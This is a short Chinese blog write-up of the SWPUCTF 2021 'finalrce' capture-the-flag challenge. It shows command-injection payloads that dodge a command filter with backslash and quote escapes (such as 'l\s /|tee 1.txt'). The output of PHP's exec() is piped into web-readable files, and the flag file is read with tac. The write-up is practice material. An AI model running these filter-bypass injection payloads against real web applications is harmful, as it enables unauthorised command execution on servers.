[SWPUCTF 2021 新生赛]finalrce 做题记录

文章讲述了在Linux环境中,当一些常用命令如ls被禁用时,如何使用tee命令结合exec()函数的特性,通过构造特定payload来绕过限制,从文件中获取结果。文中给出了具体示例,如通过?url参数执行tac和tee命令找到隐藏的flag。
摘要由CSDN通过智能技术生成

在这里插入图片描述
发现过滤了蛮多的。一般用的命令都被禁了。
分析:
在linux里有一个tee命令。这里贴一下菜鸟教程的解释。
在这里插入图片描述
由于函数exec()执行完不返回结果,所以我们可以借助tee把命令写到文件里面去。通过访问文件来得到结果。虽然ls被禁了,但是我们可以用转义符或者引号来绕过。构造payload如下:

?url=l\s /|tee 1.txt
或者?url=l's' /|tee 1.txt

然后去访问1.txt。

http://node1.anna.nssctf.cn:28158/1.txt

在这里插入图片描述
最终是在flllllaaaaaaggggggg里面找到的flag。
payload如下:

http://node1.anna.nssctf.cn:28158/?url=tac /flllll\aaaaaaggggggg|tee 2.txt

然后访问2.txt就可以了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值